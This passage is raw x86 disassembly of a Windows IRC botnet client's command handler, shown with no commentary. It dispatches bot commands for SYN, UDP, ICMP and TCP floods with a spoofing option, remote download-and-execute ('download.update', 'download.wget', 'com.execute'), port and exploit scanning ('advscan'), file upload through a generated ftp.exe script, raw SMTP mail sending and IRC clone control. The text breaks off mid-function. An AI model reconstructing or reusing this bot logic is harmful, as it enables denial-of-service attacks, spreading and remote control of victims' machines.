		push	80h
		push	eax
		call	sub_41752A
		lea	eax, [ebp+var_2EC]
		push	offset unk_436E4C
		push	eax
		call	sub_416FB6
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	1Bh
		push	eax
		call	sub_416A7A
		add	esp, 20h
		mov	[ebp+var_37C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_380]
		push	ebx
		push	eax
		push	offset sub_402394
		push	ebx
		push	ebx
		call	dword_4230A0	; CreateThread
		mov	ecx, [ebp+var_37C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44457C[ecx], eax
		jnz	short loc_410B84
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436E00

loc_410B68:				; CODE XREF: sub_40EC43+1542j
					; sub_40EC43+1D77j ...
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_416FB6

loc_410B74:				; CODE XREF: sub_40EC43+5FCFj
		add	esp, 0Ch
		jmp	loc_41198E
; ---------------------------------------------------------------------------

loc_410B7C:				; CODE XREF: sub_40EC43+1F47j
		push	32h
		call	dword_423064	; Sleep

loc_410B84:				; CODE XREF: sub_40EC43+1F17j
		cmp	[ebp+var_2F0], ebx
		jz	short loc_410B7C
		jmp	loc_41198E
; ---------------------------------------------------------------------------

loc_410B91:				; CODE XREF: sub_40EC43+1DDAj
		push	[ebp+arg_8]
		push	offset aCom_net	; "com.net"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E3B
		cmp	dword_43EBF0, ebx
		jz	short loc_410BC2
		cmp	dword_43EC18, ebx
		jz	short loc_410BC2
		push	offset dword_436DB0
		jmp	loc_410E28
; ---------------------------------------------------------------------------

loc_410BC2:				; CODE XREF: sub_40EC43+1F6Bj
					; sub_40EC43+1F73j
		cmp	[ebp+var_C], ebx
		jz	loc_4115BE
		mov	eax, [ebp+esi+var_8C]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_410BEA
		push	eax
		push	[ebp+var_C]
		call	sub_417580
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx

loc_410BEA:				; CODE XREF: sub_40EC43+1F97j
		push	edi
		push	offset aStart	; "start"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410C56
		cmp	[ebp+arg_18], ebx
		jz	short loc_410C24
		push	[ebp+arg_0]
		push	3

loc_410C05:				; CODE XREF: sub_40EC43+2029j
					; sub_40EC43+2041j ...
		call	sub_40D511
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset aS_3	; "%s"
		push	eax
		call	sub_416FB6
		add	esp, 14h
		jmp	loc_4115BE
; ---------------------------------------------------------------------------

loc_410C24:				; CODE XREF: sub_40EC43+1FBBj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D7B8
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_2EC]
		jz	short loc_410C4C
		push	offset dword_436D7C
		jmp	loc_410E2E
; ---------------------------------------------------------------------------

loc_410C4C:				; CODE XREF: sub_40EC43+1FFDj
		push	offset dword_436D4C
		jmp	loc_410E2E
; ---------------------------------------------------------------------------

loc_410C56:				; CODE XREF: sub_40EC43+1FB6j
		push	edi
		push	offset aStop	; "stop"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410C6E
		push	[ebp+arg_0]
		push	4
		jmp	short loc_410C05
; ---------------------------------------------------------------------------

loc_410C6E:				; CODE XREF: sub_40EC43+2022j
		push	edi
		push	offset aPause	; "pause"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410C89
		push	[ebp+arg_0]
		push	5
		jmp	loc_410C05
; ---------------------------------------------------------------------------

loc_410C89:				; CODE XREF: sub_40EC43+203Aj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410CA4
		push	[ebp+arg_0]
		push	6
		jmp	loc_410C05
; ---------------------------------------------------------------------------

loc_410CA4:				; CODE XREF: sub_40EC43+2055j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410CBF
		push	[ebp+arg_0]
		push	1
		jmp	loc_410C05
; ---------------------------------------------------------------------------

loc_410CBF:				; CODE XREF: sub_40EC43+2070j
		push	edi
		push	offset aShare	; "share"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D42
		cmp	[ebp+arg_18], ebx
		jz	short loc_410D0F
		cmp	[ebp+var_95C], bl
		jz	short loc_410CE5
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_410CF0
; ---------------------------------------------------------------------------

loc_410CE5:				; CODE XREF: sub_40EC43+2098j
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	ebx

loc_410CF0:				; CODE XREF: sub_40EC43+20A0j
		call	sub_40D8F8
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset aS_3	; "%s"
		push	eax
		call	sub_416FB6
		add	esp, 18h
		jmp	loc_4115BE
; ---------------------------------------------------------------------------

loc_410D0F:				; CODE XREF: sub_40EC43+2090j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40DAED
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2EC]
		jz	short loc_410D38
		push	offset dword_436CFC
		jmp	loc_410E2E
; ---------------------------------------------------------------------------

loc_410D38:				; CODE XREF: sub_40EC43+20E9j
		push	offset dword_436CCC
		jmp	loc_410E2E
; ---------------------------------------------------------------------------

loc_410D42:				; CODE XREF: sub_40EC43+208Bj
		push	edi
		push	offset aUser	; "user"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410DD8
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_410DAB
		push	[ebp+var_4]
		cmp	[ebp+var_95C], bl
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jz	short loc_410D78
		push	ebx
		push	eax
		push	1
		jmp	short loc_410D8C
; ---------------------------------------------------------------------------

loc_410D78:				; CODE XREF: sub_40EC43+212Dj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	short loc_410D88
		push	esi
		push	eax
		push	ebx
		jmp	short loc_410D8C
; ---------------------------------------------------------------------------

loc_410D88:				; CODE XREF: sub_40EC43+213Ej
		push	ebx
		push	eax
		push	2

loc_410D8C:				; CODE XREF: sub_40EC43+2133j
					; sub_40EC43+2143j
		call	sub_40DC0E
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset aS_3	; "%s"
		push	eax
		call	sub_416FB6
		add	esp, 24h
		jmp	loc_4115BE
; ---------------------------------------------------------------------------

loc_410DAB:				; CODE XREF: sub_40EC43+2119j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40E122
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2EC]
		jz	short loc_410DD1
		push	offset dword_436C94
		jmp	short loc_410E2E
; ---------------------------------------------------------------------------

loc_410DD1:				; CODE XREF: sub_40EC43+2185j
		push	offset dword_436C68
		jmp	short loc_410E2E
; ---------------------------------------------------------------------------

loc_410DD8:				; CODE XREF: sub_40EC43+210Ej
		push	edi
		push	offset aSend	; "send"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410E23
		cmp	[ebp+arg_18], ebx
		jz	short loc_410E1C
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E3CC
		push	eax
		lea	eax, [ebp+var_2EC]
		push	offset aS_3	; "%s"
		push	eax
		call	sub_416FB6
		add	esp, 1Ch
		jmp	loc_4115BE
; ---------------------------------------------------------------------------

loc_410E1C:				; CODE XREF: sub_40EC43+21A9j
		push	offset dword_436C38
		jmp	short loc_410E28
; ---------------------------------------------------------------------------

loc_410E23:				; CODE XREF: sub_40EC43+21A4j
		push	offset dword_436C0C

loc_410E28:				; CODE XREF: sub_40EC43+1F7Aj
					; sub_40EC43+21DEj ...
		lea	eax, [ebp+var_2EC]

loc_410E2E:				; CODE XREF: sub_40EC43+2004j
					; sub_40EC43+200Ej ...
		push	eax
		call	sub_416FB6
		pop	ecx
		pop	ecx
		jmp	loc_4115BE
; ---------------------------------------------------------------------------

loc_410E3B:				; CODE XREF: sub_40EC43+1F5Fj
		push	[ebp+arg_8]
		push	offset aCom_capture ; "com.capture"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413187
		push	[ebp+arg_8]
		push	offset aCom_cap	; "com.cap"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413187
		push	[ebp+arg_8]
		push	offset aIrc_gethost ; "irc.gethost"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4130A9
		push	[ebp+arg_8]
		push	offset aIrc_gh	; "irc.gh"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4130A9
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40F098
		push	[ebp+arg_8]
		push	offset aIrc_addalias ; "irc.addalias"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41306A
		push	[ebp+arg_8]
		push	offset aIrc_aa	; "irc.aa"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41306A
		push	[ebp+arg_8]
		push	offset aIrc_privmsg ; "irc.privmsg"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413014
		push	[ebp+arg_8]
		push	offset aIrc_pm	; "irc.pm"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413014
		push	[ebp+arg_8]
		push	offset aIrc_action ; "irc.action"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FA6
		push	[ebp+arg_8]
		push	offset aIrc_ac	; "irc.ac"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FA6
		push	[ebp+arg_8]
		push	offset aIrc_cycle ; "irc.cycle"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F40
		push	[ebp+arg_8]
		push	offset aIrc_cy	; "irc.cy"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F40
		push	[ebp+arg_8]
		push	offset aIrc_mode ; "irc.mode"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F09
		push	[ebp+arg_8]
		push	offset aIrc_m	; "irc.m"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F09
		push	[ebp+arg_8]
		push	offset aClone_raw ; "clone.raw"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E9E
		push	[ebp+arg_8]
		push	offset aClone_ra ; "clone.ra"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E9E
		push	[ebp+arg_8]
		push	offset aClone_mode ; "clone.mode"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E1C
		push	[ebp+arg_8]
		push	offset aClone_m	; "clone.m"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E1C
		push	[ebp+arg_8]
		push	offset aClone_nick ; "clone.nick"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412DAE
		push	[ebp+arg_8]
		push	offset aClone_ni ; "clone.ni"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412DAE
		push	[ebp+arg_8]
		push	offset aClone_join ; "clone.join"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412D88
		push	[ebp+arg_8]
		push	offset aClone_j	; "clone.j"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412D88
		push	[ebp+arg_8]
		push	offset aClone_part ; "clone.part"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412D28
		push	[ebp+arg_8]
		push	offset aClone_p	; "clone.p"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412D28
		push	[ebp+arg_8]
		push	offset aIrc_repeat ; "irc.repeat"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C62
		push	[ebp+arg_8]
		push	offset aIrc_rp	; "irc.rp"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C62
		push	[ebp+arg_8]
		push	offset aIrc_delay ; "irc.delay"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412BC7
		push	[ebp+arg_8]
		push	offset aIrc_de	; "irc.de"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412BC7
		push	[ebp+arg_8]
		push	offset aDownload_updat ; "download.update"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412A4A
		push	[ebp+arg_8]
		push	offset aDownload_up ; "download.up"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412A4A
		push	[ebp+arg_8]
		push	offset aCom_execute ; "com.execute"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129B1
		push	[ebp+arg_8]
		push	offset aCom_e	; "com.e"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129B1
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128A5
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128A5
		push	[ebp+arg_8]
		push	offset aCom_rename ; "com.rename"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412854
		push	[ebp+arg_8]
		push	offset aCom_mv	; "com.mv"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412854
		push	[ebp+arg_8]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41275A
		push	[ebp+arg_8]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41275A
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_40F098
		push	[ebp+arg_8]
		push	offset aClone_make ; "clone.make"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412670
		push	[ebp+arg_8]
		push	offset aClone_start ; "clone.start"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412670
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41255F
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41255F
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41255F
		push	[ebp+arg_8]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412461
		push	[ebp+arg_8]
		push	offset aDdos_synf ; "ddos.synf"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412461
		push	[ebp+arg_8]
		push	offset aDownload_wget ;	"download.wget"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412324
		push	[ebp+arg_8]
		push	offset aDownload_wg ; "download.wg"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412324
		push	[ebp+arg_8]
		push	offset aDaemon_redirec ; "daemon.redirect"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41222B
		push	[ebp+arg_8]
		push	offset aDaemon_rd ; "daemon.rd"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41222B
		push	[ebp+arg_8]
		push	offset aRoot_portscan ;	"root.portscan"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412139
		push	[ebp+arg_8]
		push	offset aRoot_ps	; "root.ps"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412139
		push	[ebp+arg_8]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412064
		push	[ebp+arg_8]
		push	offset aClone_pm ; "clone.pm"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412064
		push	[ebp+arg_8]
		push	offset aClone_action ; "clone.action"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F52
		push	[ebp+arg_8]
		push	offset aClone_ac ; "clone.ac"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F52
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_40F098
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFD
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFD
		push	[ebp+arg_8]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411ADE
		push	[ebp+arg_8]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411ADE
		push	[ebp+arg_8]
		push	offset aU_0	; "u"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411ADE
		push	[ebp+arg_8]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4119B8
		push	[ebp+arg_8]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4119B8
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4119B8
		push	[ebp+arg_8]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4117F6
		push	[ebp+arg_8]
		push	offset aDdos_tcpf ; "ddos.tcpf"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4117F6
		push	[ebp+arg_8]
		push	offset aUtil_email ; "util.email"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4115F6
		lea	eax, [ebp+var_AC0]
		push	edi
		push	eax
		call	sub_4176C0
		push	[ebp+arg_18]
		call	sub_41751F
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_2124]
		push	eax
		call	sub_4176C0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_17E0]
		push	eax
		call	sub_4176C0
		push	offset asc_429420 ; " "
		push	offset a__0	; "_"
		push	[ebp+esi+var_80]
		call	sub_40A610
		push	eax
		lea	eax, [ebp+var_2024]
		push	eax
		call	sub_4176C0
		add	esp, 30h
		lea	eax, [ebp+var_1974]
		push	eax
		push	101h
		call	dword_43EA9C	; WSAStartup
		lea	eax, [ebp+var_AC0]
		push	eax
		call	dword_43EBA8	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_43EBA4	; socket
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_E4], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_E0], eax
		call	dword_43EB24	; htons
		mov	[ebp+var_E2], ax
		lea	eax, [ebp+var_2024]
		push	eax
		lea	eax, [ebp+var_2124]
		push	eax
		lea	eax, [ebp+var_2024]
		push	eax
		lea	eax, [ebp+var_17E0]
		push	eax
		lea	eax, [ebp+var_2124]
		push	eax
		lea	eax, [ebp+var_2924]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_416FB6
		add	esp, 1Ch
		lea	eax, [ebp+var_E4]
		push	10h
		push	eax
		push	esi
		call	dword_43EACC	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_1F20]
		push	edi
		push	eax
		push	esi
		call	dword_43EB3C	; recv
		lea	eax, [ebp+var_1F20]
		push	ebx
		push	eax
		call	sub_4177B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2924]
		push	eax
		push	esi
		call	dword_43EB74	; send
		push	ebx
		lea	eax, [ebp+var_1F20]
		push	edi
		push	eax
		push	esi
		call	dword_43EB3C	; recv
		push	esi
		call	dword_43EBBC	; closesocket
		call	dword_43EA84	; WSACleanup
		lea	eax, [ebp+var_17E0]
		push	eax
		push	offset dword_4368C0

loc_4115AF:				; CODE XREF: sub_40EC43+3AFDj
					; sub_40EC43+3F60j ...
		lea	eax, [ebp+var_2EC]

loc_4115B5:				; CODE XREF: sub_40EC43+3E02j
		push	eax
		call	sub_416FB6

loc_4115BB:				; CODE XREF: sub_40EC43+56BBj
		add	esp, 0Ch

loc_4115BE:				; CODE XREF: sub_40EC43+1F82j
					; sub_40EC43+1FDCj ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_4115DF
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		add	esp, 14h

loc_4115DF:				; CODE XREF: sub_40EC43+297Ej
					; sub_40EC43+4815j ...
		mov	esi, [ebp+arg_24]

loc_4115E2:				; CODE XREF: sub_40EC43+954j
					; sub_40EC43+4B3Fj ...
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_40BD8D
		pop	ecx
		mov	eax, esi
		jmp	loc_40F09B
; ---------------------------------------------------------------------------

loc_4115F6:				; CODE XREF: sub_40EC43+2816j
		push	[ebp+arg_8]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4117C8
		push	[ebp+arg_8]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4117C8
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	loc_40F098
		push	[ebp+arg_8]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414CDE
		push	4
		push	esi
		call	sub_40CE09
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41169C
		push	esi
		push	offset dword_436868

loc_41165B:				; CODE XREF: sub_40EC43+4D69j
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_416FB6
		add	esp, 0Ch

loc_41166A:				; CODE XREF: sub_40EC43+4461j
					; sub_40EC43+574Aj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41168B
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		add	esp, 14h

loc_41168B:				; CODE XREF: sub_40EC43+2A2Aj
					; sub_40EC43+593Ej ...
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_40BD8D
		jmp	loc_414E5F
; ---------------------------------------------------------------------------

loc_41169C:				; CODE XREF: sub_40EC43+2A10j
		call	dword_423058	; GetTickCount
		push	eax
		call	sub_417008
		pop	ecx
		call	sub_417012
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_417012
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_417012
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_1F24]
		push	edx
		push	eax
		lea	eax, [ebp+var_17E4]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_416FB6
		lea	eax, [ebp+var_17E4]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4176A8
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_40F098
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_417656
		push	[ebp+arg_24]
		call	sub_417600
		lea	eax, [ebp+var_17E4]
		push	eax
		lea	eax, [ebp+var_AC0]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_416FB6
		add	esp, 2Ch
		lea	eax, [ebp+var_AC0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43EA98
		push	edi
		push	esi
		test	eax, eax
		jz	short loc_411766
		push	offset dword_4367F0
		jmp	short loc_41176B
; ---------------------------------------------------------------------------

loc_411766:				; CODE XREF: sub_40EC43+2B1Aj
		push	offset dword_4367B4

loc_41176B:				; CODE XREF: sub_40EC43+2B21j
		call	sub_416FB6
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_411794
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D476
		add	esp, 14h

loc_411794:				; CODE XREF: sub_40EC43+2B33j
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_40BD8D
		jmp	short loc_4117AE
; ---------------------------------------------------------------------------

loc_4117A2:				; CODE XREF: sub_40EC43+2B7Ej
		lea	eax, [ebp+var_17E4]
		push	eax
		call	sub_4198BA

loc_4117AE:				; CODE XREF: sub_40EC43+2B5Dj
		lea	eax, [ebp+var_17E4]
		push	4
		push	eax
		call	sub_40CE09
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4117A2
		jmp	loc_40F098
; ---------------------------------------------------------------------------

loc_4117C8:				; CODE XREF: sub_40EC43+29C4j
					; sub_40EC43+29DBj
		push	[ebp+esi+var_80]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41751F
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_406950
		jmp	loc_414CDB
; ---------------------------------------------------------------------------

loc_4117F6:				; CODE XREF: sub_40EC43+27E8j
					; sub_40EC43+27FFj
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_BF0]
		push	esi
		push	eax
		call	sub_41752A
		lea	eax, [ebp+var_BF0]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_4173D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_411859
		lea	eax, [ebp+var_BF0]
		push	eax
		push	offset aAck	; "ack"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411859
		lea	eax, [ebp+var_BF0]
		push	eax
		push	offset aRandom	; "random"
		call	sub_4173D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411859
		push	offset dword_43677C
		jmp	loc_411980
; ---------------------------------------------------------------------------

loc_411859:				; CODE XREF: sub_40EC43+2BDCj
					; sub_40EC43+2BF3j ...
		push	[ebp+arg_10]
		call	sub_41751F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_AE8], eax
		jle	loc_41197B
		push	edi
		lea	eax, [ebp+var_BF0]
		push	esi
		push	eax
		call	sub_41752A
		push	[ebp+arg_18]
		lea	eax, [ebp+var_C70]
		push	esi
		push	eax
		call	sub_41752A
		push	[ebp+arg_0]
		call	sub_41751F
		mov	[ebp+var_AEC], eax
		xor	eax, eax
		cmp	[ebp+var_94E], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_AE4], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C74], eax
		lea	eax, [ebp+var_B70]
		push	esi
		push	eax
		call	sub_41752A
		mov	eax, [ebp+var_4]
		add	esp, 28h
		cmp	[ebp+var_AE4], ebx
		mov	[ebp+var_AE0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ADC], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_4118F0
		mov	eax, offset aNormal ; "Normal"

loc_4118F0:				; CODE XREF: sub_40EC43+2CA6j
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
